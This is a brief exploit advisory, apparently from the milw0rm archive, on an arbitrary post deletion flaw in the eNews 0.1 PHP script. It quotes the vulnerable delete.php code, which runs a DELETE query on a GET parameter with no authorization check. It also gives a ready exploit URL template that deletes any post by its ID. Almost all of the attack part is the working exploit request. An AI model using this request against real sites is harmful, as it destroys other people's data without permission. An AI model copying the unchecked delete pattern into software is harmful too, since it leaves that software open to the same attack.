eNews 0.1 (delete.php) Arbitrary Delete Post Vulnerability
Author: iLker Kandemir [MEFISTO]
Script download : http://www.hotscripts.com/Detailed/81086.html
script demo : http://emvvy.com/demos/enews/
site : www.dumenci.net
----------------------------------------------------------------
//poc:
if ((isset($_GET['delete'])) && ($_GET['delete'] != "")) {
$deleteSQL = sprintf("DELETE FROM news WHERE id=%s",
GetSQLValueString($_GET['delete'], "int"));
----------------------------------------------------------------
//exploit :
http://[site]/delete.php?delete=[eNews_id]
----------------------------------------------------------------
tnx : aLL my FriEndZ
# milw0rm.com [2008-06-21]
